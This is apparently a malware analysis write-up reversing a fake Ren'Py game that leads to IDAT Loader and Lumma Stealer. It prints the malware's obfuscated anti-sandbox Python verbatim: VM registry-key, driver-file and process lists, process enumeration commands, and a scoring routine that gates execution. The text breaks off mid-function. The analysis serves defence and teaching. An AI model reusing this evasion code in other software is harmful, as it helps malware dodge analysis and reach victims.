Anomaly Company — Reversing a Ren'Py-Wrapped Multi-Stage Malware
A Discord download link led to a Ren'Py game masking a full malware chain: sandbox evasion, bytecode obfuscation, IDAT Loader, and Lumma Stealer.
Discovery
It started with a simple download link dropped in a Discord server : Anomaly Company Build 03/02/2026 — try our new game ! what followed was anything but a game. The sample was shared by a colleague who stumbled upon it at its original distribution website, still up at the time of writing this article.
Initial Recon — The Archive Structure
My first step was to unzip the archive and get a feel about what we're dealing with. Here is what greeted me :
.
├── data
│ ├── 7ByXk3POijf8.Vd
│ ├── cache
│ │ ├── bytecode-39.rpyb
│ │ ├── py3analysis.rpyb
│ │ ├── screens.rpyb
│ │ └── shaders.txt
│ ├── gui
... (some images, skipped)
│ ├── libwin32.rpa
│ ├── python-packages
│ │ ├── libpython.rpmc
│ │ └── sys_config
│ │ ├── access_internet.py
│ │ ├── __init__.py
│ │ ├── sys_check.py
│ │ ├── sys_file.py
│ │ └── sys_spec.py
│ └── script_version.txt
├── lib
│ ├── py3-windows-x86_64
│ │ ├── d3dcompiler_47.dll
│ │ ├── libEGL.dll
│ │ ├── libGLESv2.dll
│ │ ├── libpython3.9.dll
│ │ ├── librenpython.dll
│ │ ├── libwinpthread-1.dll
│ │ ├── nvdrs.dll
│ │ ├── python.exe
│ │ └── pythonw.exe
│ ├── python3.9
│ │ ├── abc.pyc
... (full of Python bytecode for the imports)
├── renpy
│ ├── add_from.py
... (all Ren'Py project files)
│ └── webloader.py
├── Setup
└── setup.py
The Ren'Py project is available here : https://github.com/renpy/renpy, after checking the files in the renpy folder, none of them had been modified.
This leaves us with three points of interest : the data/ and lib/ folders and the PE binary Setup.
Stage 0 — The PE Launcher
Let's start with the binary. Opening it in IDA reveals a function which is launching another function from a DLL. Here is the decompiled code :
__int64 __fastcall sub_140001480(unsigned int a1, const wchar_t **a2)
{
unsigned int v4; // ebx
ULONGLONG v5; // rax
ULONGLONG v6; // rax
ULONGLONG v7; // rax
wchar_t *v8; // rbx
size_t v9; // rax
int v10; // edx
HMODULE LibraryW; // rax
FARPROC ProcAddress; // rax
struct _OSVERSIONINFOEXW v14[28]; // [rsp+30h] [rbp-2028h] BYREF
v4 = 0;
memset(&v14[0].dwBuildNumber, 0, 0x110uLL);
*(_QWORD *)&v14[0].dwOSVersionInfoSize = 0x60000011CLL;
v14[0].dwMinorVersion = 0;
v5 = VerSetConditionMask(0LL, 2u, 3u);
v6 = VerSetConditionMask(v5, 1u, 3u);
v7 = VerSetConditionMask(v6, 0x20u, 3u);
if ( VerifyVersionInfoW(v14, 0x23u, v7) )
{
v8 = wcsdup(*a2);
v9 = 2 * wcslen(v8) - 2;
while ( v9 )
{
v10 = *(wchar_t *)((char *)v8 + v9);
v9 -= 2LL;
if ( v10 == 92 || v10 == 47 )
{
*(wchar_t *)((char *)v8 + v9 + 2) = 0;
break;
}
}
sub_1400015E0((wchar_t *)v14);
SetDllDirectoryW((LPCWSTR)v14);
LibraryW = LoadLibraryW(L"librenpython.dll");
ProcAddress = GetProcAddress(LibraryW, "launcher_main_wide");
return ((unsigned int (__fastcall *)(_QWORD, const wchar_t **))ProcAddress)(a1, a2);
}
else
{
MessageBoxW(0LL, "T", L"Version Not Supported", 0);
}
return v4;
}As we can see, the Setup binary loads librenpython.dll and calls its exported function launcher_main_wide, standard behaviour for any Ren'Py game. This function initializes the embedded Python interpreter and executes setup.py.
The first interesting function in setup.py is path_to_gamedir() :
candidates.extend([ 'game', 'data', 'launcher/game' ])
for i in candidates:
gamedir = os.path.join(basedir, i)
if os.path.isdir(gamedir):
breakRen'Py scans for a game directory by trying a hardcoded list of names in order : game/, then data/, then launcher/game/. Since there is no game/ folder here, Ren'Py automatically falls back to data/, which is exactly where the attacker placed all the malicious files. A deliberate choice : data/ looks far less suspicious than game/ to a casual observer.
Ren'Py's Import Hook Hijacking
Once the game directory is resolved, setup.py's main() hands control to the Ren'Py engine :
renpy.__main__ = sys.modules[__name__]
renpy.bootstrap.bootstrap(renpy_base)Inside bootstrap.py, the engine initializes its import system :
renpy.import_all()
renpy.loader.init_importer()And this is the key call. init_importer() inserts a custom Python importer into sys.meta_path, Python's global import hook list :
def init_importer():
meta_backup[:] = sys.meta_path
add_python_directory("python-packages/")
add_python_directory("")From this point on, any import statement in the game scripts will first be resolved against data/python-packages/, which is where the attacker placed sys_config/, his anti-sandbox module. No explicit call, no obvious hook : the malicious import is made possible by Ren'Py's own legitimate loading mechanism.
The Anti-Sandbox Module: sys_config
Files in sys_config are pretty much obfuscated, but we can easily understand what they are used for.
access_internet.py — Connectivity Stubs
# G0KCq6DVkpPqtNIR3KQpdAzEKb2peHdvOK6wNFwT0dgKSSEsbMBxNAsbv3hOYcXm
import os
class InternetAccess:
@staticmethod
def check_basic_ping(amount=4, host='google.com'):
return 5, "".join([chr(73),chr(110),chr(116),chr(101),chr(114),chr(110),chr(101),chr(116),chr(32),chr(99),chr(104),chr(101),chr(99),chr(107),chr(115),chr(32),chr(100),chr(105),chr(115),chr(97),chr(98),chr(108),chr(101),chr(100),chr(46)]), None
@staticmethod
def check_download_file():
return 5, "".join([chr(73),chr(110),chr(116),chr(101),chr(114),chr(110),chr(101),chr(116),chr(32),chr(99),chr(104),chr(101),chr(99),chr(107),chr(115),chr(32),chr(100),chr(105),chr(115),chr(97),chr(98),chr(108),chr(101),chr(100),chr(46)]), None
@staticmethod
def check_http_post():
return 5, "".join([chr(73),chr(110),chr(116),chr(101),chr(114),chr(110),chr(101),chr(116),chr(32),chr(99),chr(104),chr(101),chr(99),chr(107),chr(115),chr(32),chr(100),chr(105),chr(115),chr(97),chr(98),chr(108),chr(101),chr(100),chr(46)]), None
@staticmethod
def check_sockdnsreq():
return 5, bytes([73,110,116,101,114,110,101,116,32,99,104,101,99,107,115,32,100,105,115,97,98,108,101,100,46]).decode("utf-8"), None
# The string is always the same : 'Internet checks disabled.'As the class name states, it simply checks that we got access to internet probably used before exfiltrating victim's data.
__init__.py — Module Entry Point
import requests
import json
import base64
_m = base64.b64decode("".join([chr(99),chr(51),chr(108),chr(122),chr(88),chr(50),chr(78),chr(118),chr(98),chr(109),chr(90),chr(112),chr(90),chr(121),chr(53),chr(122),chr(101),chr(88),chr(78),chr(102),chr(89),chr(50),chr(104),chr(108),chr(89),chr(50),chr(115),chr(61)])).decode()
_c = base64.b64decode(bytes([85,51,108,122,89,109,57,52]).decode("utf-8")).decode()
_mod = __import__(_m, fromlist=[_c])
_Kx9p = getattr(_mod, _c)
def _x7k2p9q(logging=True):
p55xzvkmws9n_0 = _Kx9p(logging=logging)
_r = getattr(p55xzvkmws9n_0, base64.b64decode("".join([chr(97),chr(88),chr(78),chr(102),chr(99),chr(50),chr(70),chr(117),chr(90),chr(71),chr(74),chr(118),chr(101),chr(71),chr(86),chr(107)])).decode())()
return _r
_func_name = base64.b64decode("".join([chr(97),chr(88),chr(78),chr(102),chr(99),chr(50),chr(70),chr(117),chr(90),chr(71),chr(74),chr(118),chr(101),chr(71),chr(86),chr(107)])).decode()
globals()[_func_name] = _x7k2p9q
__all__ = [_func_name]Which I simplified as :
import requests
import json
import base64
_m = 'sys_config.sys_check'
_c = 'Sysbox'
_mod = __import__(_m, fromlist=[_c])
Sysbox = getattr(_mod, _c)
def debug(logging=True):
var = Sysbox(logging=logging)
_r = getattr(var, "is_sandboxed")()
return _r
_func_name = "is_sandboxed"
globals()[_func_name] = debug
__all__ = [_func_name]In python the __init__.py file will simply tell to the renpy program once sys_config imported to execute the is_sandboxed function from sys_check.py file.
sys_check.py — The Scoring Engine (Sysbox)
Here is the content of this file :
# kh6BSjTbAUqkqn5CvWiVNK0GdMivRay7ElhPwA6JSZ4thR354iFLiPrfhnGfwyMj
from sys_config.sys_file import FileSystem
from sys_config.access_internet import *
from sys_config.sys_spec import *
import time, os
class Sysbox:
def __init__(self, logging=False):
self.logging = logging
return
def _normalize(self, values):
zy00mnmjc_ = values.count(0)
if zy00mnmjc_ > 0:
return 0 # 100% certainty
e1qba5o_b = 0
r9y4e5wlj = 0
if type(38) == str:
taev_k = 720
for fojw4ctudskez in values:
if fojw4ctudskez == 5:
vyejt1dut = 2.0
elif fojw4ctudskez >= 3:
vyejt1dut = 1.5
else:
vyejt1dut = 1.0
r9y4e5wlj += fojw4ctudskez * vyejt1dut
e1qba5o_b += vyejt1dut
mly0pkxzv = r9y4e5wlj / e1qba5o_b
z3nyoz_d14 = sum(1 for x in values if x <= 2)
if z3nyoz_d14 >= 3: # uZYaZRk4p
mly0pkxzv = max(0, mly0pkxzv - 2) # Major penalty
elif z3nyoz_d14 >= 2:
mly0pkxzv = max(1, mly0pkxzv - 1) # Moderate penalty
elif z3nyoz_d14 == 1:
mly0pkxzv = max(2, mly0pkxzv - 0.5) # Minor penalty
return mly0pkxzv
def is_sandboxed(self):
lfj1c_c6_tv = self._check_specs()
ykq21z6ehuazz2 = lfj1c_c6_tv
qvdk826kp94 = int(100 - ((ykq21z6ehuazz2 / 5) * 100))
if self.logging: # DS64pkhJ
self._printout(10, f"Conclusion: {qvdk826kp94}% chance of being in a virtual environment.\n")
return qvdk826kp94 / 100
def _check_file_system(self):
try:
if self.logging:
self._printout(10, bytes([70,73,76,69,83,89,83,84,69,77]).decode("utf-8"))
fuk2xgpo8, etaqicn03ud_1, hu8nrxtnql32b = FileSystem.check_vm_registry_keys() # VVpgGgw8aMqcSRKQl1l
y_5tjf023wl, wgw97fha, j9xxdl31qd3st = FileSystem.check_vm_files()
fiakpjfedws, staq5r6wugbb, tl30s0kjuz9 = FileSystem.check_vm_processes()
k5w46p7c5w7, nav93cf5o79j6f, p5d3rhd6 = FileSystem.check_prev_logins()
if self.logging:
self._printout(score=fuk2xgpo8, description=etaqicn03ud_1, extra=hu8nrxtnql32b)
self._printout(y_5tjf023wl, wgw97fha, j9xxdl31qd3st)
jogwve8_ = [32, 42]
self._printout(fiakpjfedws, staq5r6wugbb, tl30s0kjuz9)
i27rp196f5 = (38, 32, 34, 64)
self._printout(k5w46p7c5w7, nav93cf5o79j6f, p5d3rhd6)
return self._normalize([fiakpjfedws, k5w46p7c5w7])
except Exception as e:
if self.logging:
self._printout(5, bytes([70,73,76,69,83,89,83,84,69,77,32,99,104,101,99,107,115,32,112,97,114,116,105,97,108,108,121,32,115,107,105,112,112,101,100,32,100,117,101,32,116,111,32,97,99,99,101,115,115,32,114,101,115,116,114,105,99,116,105,111,110,115,46]).decode("utf-8"))
return 5 # Give benefit of doubt on errors
def _check_specs(self):
if self.logging:
self._printout(10, bytes([83,80,69,67,83,32,79,70,32,84,72,69,32,83,89,83,84,69,77]).decode("utf-8"))
bw1h5hig3uzh, itpkezvsp, dub9zytc0spr__ = Specs.check_hard_drive()
ucpp1z0coej, icr4vfpf, ky7z_422mboe = Specs.check_ram_space()
qypfmhtt88tm, qnmxogihud4, ek50ulnld = Specs.check_cpu_cores()
o086dtlt4kpltc, wiwd7g4i9k4v, p6jckrzu85m3o = Specs.check_model()
t9gq0yehmr6, dcbz8vgkf88, t501ejklam4k = Specs.check_manufacturer()
return self._normalize([o086dtlt4kpltc, t9gq0yehmr6])
def _printout(self, score, description, extra=None): # I3AbMoEcetY
if os.name == "".join([chr(110),chr(116)]):
os.system(bytes([99,111,108,111,114]).decode("utf-8"))
_CLEAR = '\033[0m'
_BOLD = '\033[1m'
_RED = '\033[91m'
_ORANGE = '\033[33m' # eU9rp8lyn7Q89
_LIME = '\033[92m'
j4mus_5fkz = True
_ITALIC = '\033[3m'
_UNDERLINED = '\033[4m'
_YELLOW = '\033[93m'
if score == 10:
import shutil
m7z_dly3 = shutil.get_terminal_size((80, 20)).columns
cflhsvz0t = (m7z_dly3 - len(description))
if cflhsvz0t % 2 == 0:
e7guyvyxqt_0l = int(cflhsvz0t / 2)
scukcl4p = int(e7guyvyxqt_0l)
if 1 > 62:
i4dbue = 1976
else:
e7guyvyxqt_0l = int((cflhsvz0t-1) / 2)
scukcl4p = int(e7guyvyxqt_0l + 1)
gtamcijt7yr5 = f'{_BOLD}{_ITALIC}{_UNDERLINED}{_YELLOW}' + e7guyvyxqt_0l * bytes([32]).decode("utf-8")
yd3r25g1 = scukcl4p * bytes([32]).decode("utf-8") + f'{_CLEAR}'
description = f'{gtamcijt7yr5}{description}{yd3r25g1}'
jf4zq90fod = False
if score == 5:
description = f'{_BOLD}{_LIME}[+++++] {description}{_CLEAR}'
elif score == 4:
description = f'{_BOLD}{_LIME}[++++-] {description}{_CLEAR}'
if 503 == 1226:
g1e66 = 1936
elif score == 3:
description = f'{_BOLD}{_ORANGE}[+++--] {description}{_CLEAR}'
elif score == 2:
description = f'{_BOLD}{_ORANGE}[++---] {description}{_CLEAR}'
elif score == 1:
description = f'{_BOLD}{_RED}[+----] {description}{_CLEAR}'
elif score == 0:
description = f'{_BOLD}{_RED}[-----] {description}{_CLEAR}'
print() # tYqAEvAXhv5d
print(description)
time.sleep(0.2)
if extra:
print(f"-> {extra}")
time.sleep(1)
time.sleep(1.5)I simplified the code for better understanding :
from sys_config.sys_file import FileSystem
from sys_config.access_internet import *
from sys_config.sys_spec import *
import time, os
class Sysbox:
def __init__(self, logging=False):
self.logging = logging
def _normalize(self, values):
comp = values.count(0)
if comp > 0:
return 0 # 100% certainty sandbox
i = 0
j = 0
for val in values:
if val == 5:
weight = 2.0
elif val >= 3:
weight = 1.5
else:
weight = 1.0
j += val * weight
i += weight
pond = j / i
total = sum(1 for x in values if x <= 2)
if total >= 3:
pond = max(0, pond - 2) # Major penalty
elif total >= 2:
pond = max(1, pond - 1) # Moderate penalty
elif total == 1:
pond = max(2, pond - 0.5) # Minor penalty
return pond
def is_sandboxed(self):
checker_specs = self._check_specs()
probability = int(100 - ((checker_specs / 5) * 100))
if self.logging:
self._printout(10, f"Conclusion: {probability}% chance of being in a virtual environment.\n")
return probability / 100
def _check_file_system(self):
try:
score1, description1, extra1 = FileSystem.check_vm_registry_keys()
score2, description2, extra2 = FileSystem.check_vm_files()
score3, description3, extra3 = FileSystem.check_vm_processes()
score4, description4, extra4 = FileSystem.check_prev_logins()
return self._normalize([score3, score4])
except Exception as e:
return 5
def _check_specs(self):
score5, description5, extra5 = Specs.check_hard_drive()
score6, description6, extra6 = Specs.check_ram_space()
score7, description7, extra7 = Specs.check_cpu_cores()
score8, description8, extra8 = Specs.check_model()
score9, description9, extra9 = Specs.check_manufacturer()
return self._normalize([score8, score9])It is the Sysbox class we saw before, it is used to log the probability to be in a vm for the malware, sysbox class is regrouping all the scores of the different checks and use a ponderation scoring algorithm function : _normalize, to say with a probability X if the malware is in a VM or not, of course it prints the results and details for debug in a custom terminal.
Certainly this scoring algorithm will tell if the malware has to execute or not, if the total score exceeds 3, the malware will execute, otherwise it will not. Additionally if any of the tests described below returns a score of 0, the malware will not run at all.
sys_file.py — Filesystem & Registry Detection
# N2l1VtAq3lZKWyo0i9QPBJNlmQs0qu9K0t4Xjw7OhfGS4DmcMerUAbtVOcTPlUIX
import os
import subprocess
import time
if os.name == (chr(110)+chr(116)):
import winreg
class FileSystem:
_KEYS = [
r"SOFTWARE\Oracle\VirtualBox Guest Additions",
r"HARDWARE\ACPI\DSDT\VBOX__",
r"HARDWARE\ACPI\FADT\VBOX__",
r"HARDWARE\ACPI\RSDT\VBOX__",
r"SYSTEM\ControlSet001\Services\VBoxGuest",
r"SYSTEM\ControlSet001\Services\VBoxMouse",
r"SYSTEM\ControlSet001\Services\VBoxService",
r"SYSTEM\ControlSet001\Services\VBoxSF",
r"SYSTEM\ControlSet001\Services\VBoxVideo", # YxiVZHts3FYOFy
r"SOFTWARE\VMware, Inc.\VMware Tools",
]
_FILES = [
r"C:\WINDOWS\system32\drivers\VBoxMouse.sys",
r"C:\WINDOWS\system32\drivers\VBoxGuest.sys",
r"C:\WINDOWS\system32\drivers\VBoxSF.sys",
r"C:\WINDOWS\system32\drivers\VBoxVideo.sys", # bNcHmEEpjk2U2e
r"C:\WINDOWS\system32\vboxdisp.dll",
r"C:\WINDOWS\system32\vboxhook.dll",
r"C:\WINDOWS\system32\vboxmrxnp.dll",
r"C:\WINDOWS\system32\vboxogl.dll",
r"C:\WINDOWS\system32\vboxoglarrayspu.dll",
r"C:\WINDOWS\system32\vboxoglcrutil.dll",
r"C:\WINDOWS\system32\vboxoglerrorspu.dll",
r"C:\WINDOWS\system32\vboxoglfeedbackspu.dll",
r"C:\WINDOWS\system32\vboxoglpackspu.dll",
r"C:\WINDOWS\system32\vboxoglpassthroughspu.dll",
r"C:\WINDOWS\system32\vboxservice.exe",
r"C:\WINDOWS\system32\vboxtray.exe",
r"C:\WINDOWS\system32\VBoxControl.exe",
r"C:\WINDOWS\system32\drivers\vmmouse.sys",
r"C:\WINDOWS\system32\drivers\vmhgfs.sys",
r"C:\WINDOWS\system32\drivers\vmusbmouse.sys",
r"C:\WINDOWS\system32\drivers\vmkdb.sys",
r"C:\WINDOWS\system32\drivers\vmrawdsk.sys",
r"C:\WINDOWS\system32\drivers\vmmemctl.sys",
r"C:\WINDOWS\system32\drivers\vm3dmp.sys",
r"C:\WINDOWS\system32\drivers\vmci.sys", # BtqBLY73ZGOK9nM
r"C:\WINDOWS\system32\drivers\vmsci.sys",
r"C:\WINDOWS\system32\drivers\vmx_svga.sys"
]
_PROCESSES = [
"".join([chr(118),chr(98),chr(111),chr(120),chr(115),chr(101),chr(114),chr(118),chr(105),chr(99),chr(101),chr(115),chr(46),chr(101),chr(120),chr(101)]),
"".join([chr(118),chr(98),chr(111),chr(120),chr(115),chr(101),chr(114),chr(118),chr(105),chr(99),chr(101),chr(46),chr(101),chr(120),chr(101)]),
bytes([118,98,111,120,116,114,97,121,46,101,120,101]).decode("utf-8"),
(chr(120)+chr(101)+chr(110)+chr(115)+chr(101)+chr(114)+chr(118)+chr(105)+chr(99)+chr(101)+chr(46)+chr(101)+chr(120)+chr(101)),
bytes([86,77,83,114,118,99,46,101,120,101]).decode("utf-8"), # 3SksSkFHXKQ2Eiw6
bytes([118,101,109,117,115,114,118,99,46,101,120,101]).decode("utf-8"),
"".join([chr(86),chr(77),chr(85),chr(83),chr(114),chr(118),chr(99),chr(46),chr(101),chr(120),chr(101)]),
(chr(113)+chr(101)+chr(109)+chr(117)+chr(45)+chr(103)+chr(97)+chr(46)+chr(101)+chr(120)+chr(101)),
bytes([112,114,108,95,99,99,46,101,120,101]).decode("utf-8"),
"".join([chr(112),chr(114),chr(108),chr(95),chr(116),chr(111),chr(111),chr(108),chr(115),chr(46),chr(101),chr(120),chr(101)]),
(chr(118)+chr(109)+chr(116)+chr(111)+chr(111)+chr(108)+chr(115)+chr(100)+chr(46)+chr(101)+chr(120)+chr(101)), # eiGcea3zMYGtPp1MMkd
bytes([100,102,53,115,101,114,118,46,101,120,101]).decode("utf-8"),
]
@staticmethod
def check_vm_registry_keys(): # robokeUdo
if os.name != bytes([110,116]).decode("utf-8"):
return 5, bytes([86,77,32,82,69,71,73,83,84,82,89,32,75,69,89,83,32,97,114,101,32,78,111,110,101,46]).decode("utf-8"), (chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46)) # YkEzVNavFP2d1Rd
vr4pizx3 = 5
if type(75) == str: # zLGJrQlLchbJusPbu
uy46ef0 = 8751
lpi1u3j87 = f"REGISTRY KEYS will look for VM related keys."
e4v2hgy3 = None
try:
wk1saehy0gwd1h = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)
for cdc8ljnunhk0 in FileSystem._KEYS:
try:
winreg.OpenKey(wk1saehy0gwd1h, cdc8ljnunhk0)
zks0jdy = [28]
vr4pizx3 = 2
e4v2hgy3 = f"Found VM-related registry key: {cdc8ljnunhk0}"
except WindowsError as e:
if e.winerror == 5:
continue
elif e.winerror == 2:
continue
if 749 == 8422:
wixd5bhp = 2785
else:
continue
except Exception as e:
vr4pizx3 = 5
e4v2hgy3 = bytes([67,111,117,108,100,32,110,111,116,32,97,99,99,101,115,115,32,114,101,103,105,115,116,114,121]).decode("utf-8")
return vr4pizx3, lpi1u3j87, e4v2hgy3
@staticmethod
def check_vm_files():
if os.name != (chr(110)+chr(116)):
return 5, "".join([chr(86),chr(77),chr(32),chr(82),chr(69),chr(76),chr(65),chr(84),chr(69),chr(68),chr(32),chr(70),chr(73),chr(76),chr(69),chr(83),chr(32),chr(97),chr(114),chr(101),chr(32),chr(78),chr(111),chr(110),chr(101),chr(46)]), bytes([84,104,105,115,32,116,101,115,116,32,99,97,110,32,111,110,108,121,32,98,101,32,114,117,110,32,111,110,32,87,105,110,100,111,119,115,46,32,67,111,110,115,105,100,101,114,105,110,103,32,116,104,105,115,32,116,101,115,116,32,115,117,99,99,101,115,115,102,117,108,46]).decode("utf-8")
qnrkan88 = 5
i_rd4d7c = f"FILES will look for VM related files."
d22grskg3_y8v5 = None
for oticlmx5q4w0 in FileSystem._FILES:
if os.path.exists(oticlmx5q4w0):
qnrkan88 = min(qnrkan88, 2) # Reduce qnrkan88 but don't set to 0
if d22grskg3_y8v5:
d22grskg3_y8v5 += f"\nFound VM-related file: {oticlmx5q4w0}"
else:
d22grskg3_y8v5 = f"Found VM-related file: {oticlmx5q4w0}" # jfQ5JW1foOCerrEbSJ
j2g7oxm66k = (19, 40)
return qnrkan88, i_rd4d7c, d22grskg3_y8v5
@staticmethod
def check_vm_processes():
if os.name != (chr(110)+chr(116)):
return 5, "".join([chr(86),chr(77),chr(32),chr(82),chr(69),chr(76),chr(65),chr(84),chr(69),chr(68),chr(32),chr(80),chr(82),chr(79),chr(67),chr(69),chr(83),chr(83),chr(69),chr(83),chr(32),chr(97),chr(114),chr(101),chr(32),chr(78),chr(111),chr(110),chr(101),chr(46)]), (chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46))
knkwcwdoiosmv = 5
br3bdwz4h = 40063
ejptk1pa_z = f"PROCESSES will look for VM related processes."
qqbc9fvga4oq = None
try:
lji_sscee2f = ""
ezet7p = "craWDghwoF"
try:
lji_sscee2f = subprocess.check_output("".join([chr(112),chr(111),chr(119),chr(101),chr(114),chr(115),chr(104),chr(101),chr(108),chr(108),chr(32),chr(34),chr(71),chr(101),chr(116),chr(45),chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(32),chr(124),chr(32),chr(83),chr(101),chr(108),chr(101),chr(99),chr(116),chr(45),chr(79),chr(98),chr(106),chr(101),chr(99),chr(116),chr(32),chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(78),chr(97),chr(109),chr(101),chr(34)]), shell=True).decode()
except:
try:
lji_sscee2f = subprocess.check_output((chr(119)+chr(109)+chr(105)+chr(99)+chr(32)+chr(112)+chr(114)+chr(111)+chr(99)+chr(101)+chr(115)+chr(115)+chr(32)+chr(103)+chr(101)+chr(116)+chr(32)+chr(110)+chr(97)+chr(109)+chr(101)), shell=True).decode()
except:
try: # QtPWAORJXDQJi7
lji_sscee2f = subprocess.check_output("".join([chr(116),chr(97),chr(115),chr(107),chr(108),chr(105),chr(115),chr(116)]), shell=True).decode()
except:
knkwcwdoiosmv = 5
qqbc9fvga4oq = "".join([chr(80),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(32),chr(99),chr(104),chr(101),chr(99),chr(107),chr(32),chr(115),chr(107),chr(105),chr(112),chr(112),chr(101),chr(100),chr(32),chr(45),chr(32),chr(99),chr(111),chr(117),chr(108),chr(100),chr(32),chr(110),chr(111),chr(116),chr(32),chr(97),chr(99),chr(99),chr(101),chr(115),chr(115),chr(32),chr(112),chr(114),chr(111),chr(99),chr(101),chr(115),chr(115),chr(32),chr(108),chr(105),chr(115),chr(116)])
return knkwcwdoiosmv, ejptk1pa_z, qqbc9fvga4oq
lji_sscee2f = lji_sscee2f.lower()
for hb6uejva in FileSystem._PROCESSES:
if hb6uejva.lower() in lji_sscee2f:
knkwcwdoiosmv = min(knkwcwdoiosmv, 2)
if qqbc9fvga4oq:
qqbc9fvga4oq += f"\nFound VM-related process: {hb6uejva}"
else:
qqbc9fvga4oq = f"Found VM-related process: {hb6uejva}"
except Exception as e:
knkwcwdoiosmv = 5
qqbc9fvga4oq = (chr(80)+chr(114)+chr(111)+chr(99)+chr(101)+chr(115)+chr(115)+chr(32)+chr(99)+chr(104)+chr(101)+chr(99)+chr(107)+chr(32)+chr(115)+chr(107)+chr(105)+chr(112)+chr(112)+chr(101)+chr(100)+chr(32)+chr(100)+chr(117)+chr(101)+chr(32)+chr(116)+chr(111)+chr(32)+chr(97)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(32)+chr(114)+chr(101)+chr(115)+chr(116)+chr(114)+chr(105)+chr(99)+chr(116)+chr(105)+chr(111)+chr(110)+chr(115)+chr(46))
return knkwcwdoiosmv, ejptk1pa_z, qqbc9fvga4oq
@staticmethod
def check_wifi_connections():
return 5, (chr(87)+chr(73)+chr(70)+chr(73)+chr(32)+chr(99)+chr(104)+chr(101)+chr(99)+chr(107)+chr(32)+chr(100)+chr(105)+chr(115)+chr(97)+chr(98)+chr(108)+chr(101)+chr(100)+chr(46)), None
@staticmethod
def check_application_files():
return 5, bytes([65,112,112,108,105,99,97,116,105,111,110,32,102,105,108,101,115,32,99,104,101,99,107,32,100,105,115,97,98,108,101,100,46]).decode("utf-8"), None
@staticmethod
def check_prev_logins():
if os.name != (chr(110)+chr(116)):
return 5, bytes([80,82,69,86,32,76,79,71,73,78,83,32,97,114,101,32,78,111,110,101,46]).decode("utf-8"), (chr(84)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(99)+chr(97)+chr(110)+chr(32)+chr(111)+chr(110)+chr(108)+chr(121)+chr(32)+chr(98)+chr(101)+chr(32)+chr(114)+chr(117)+chr(110)+chr(32)+chr(111)+chr(110)+chr(32)+chr(87)+chr(105)+chr(110)+chr(100)+chr(111)+chr(119)+chr(115)+chr(46)+chr(32)+chr(67)+chr(111)+chr(110)+chr(115)+chr(105)+chr(100)+chr(101)+chr(114)+chr(105)+chr(110)+chr(103)+chr(32)+chr(116)+chr(104)+chr(105)+chr(115)+chr(32)+chr(116)+chr(101)+chr(115)+chr(116)+chr(32)+chr(115)+chr(117)+chr(99)+chr(99)+chr(101)+chr(115)+chr(115)+chr(102)+chr(117)+chr(108)+chr(46))
try:
o1n7titods = os.getenv((chr(85)+chr(83)+chr(69)+chr(82)+chr(78)+chr(65)+chr(77)+chr(69)))
h8ykwah670dykt = os.path.join(os.environ[bytes([83,121,115,116,101,109,68,114,105,118,101]).decode("utf-8")] + '\\', bytes([85,115,101,114,115]).decode("utf-8"))
if not os.path.exists(h8ykwah670dykt):
uuhxcn7g0lw2fy = 5
return uuhxcn7g0lw2fy, bytes([80,82,69,86,32,76,79,71,73,78,83,32,99,104,101,99,107,32,115,107,105,112,112,101,100,46]).decode("utf-8"), "".join([chr(67),chr(111),chr(117),chr(108),chr(100),chr(32),chr(110),chr(111),chr(116),chr(32),chr(97),chr(99),chr(99),chr(101),chr(115),chr(115),chr(32),chr(85),chr(115),chr(101),chr(114),chr(115),chr(32),chr(100),chr(105),chr(114),chr(101),chr(99),chr(116),chr(111),chr(114),chr(121),chr(46)])
om7aj114_f_wnp = []
try:
om7aj114_f_wnp = [d for d in os.listdir(h8ykwah670dykt)
if os.path.isdir(os.path.join(h8ykwah670dykt, d))
and d.lower() not in ["".join([chr(112),chr(117),chr(98),chr(108),chr(105),chr(99)]), "".join([chr(100),chr(101),chr(102),chr(97),chr(117),chr(108),chr(116)]), (chr(100)+chr(101)+chr(102)+chr(97)+chr(117)+chr(108)+chr(116)+chr(32)+chr(117)+chr(115)+chr(101)+chr(114)), (chr(97)+chr(108)+chr(108)+chr(32)+chr(117)+chr(115)+chr(101)+chr(114)+chr(115)), (chr(100)+chr(101)+chr(102)+chr(97)+chr(117)+chr(108)+chr(116)+chr(97)+chr(112)+chr(112)+chr(112)+chr(111)+chr(111)+chr(108)), (chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))]
and not d.endswith("".join([chr(36)]))]
except PermissionError:
uuhxcn7g0lw2fy = 5
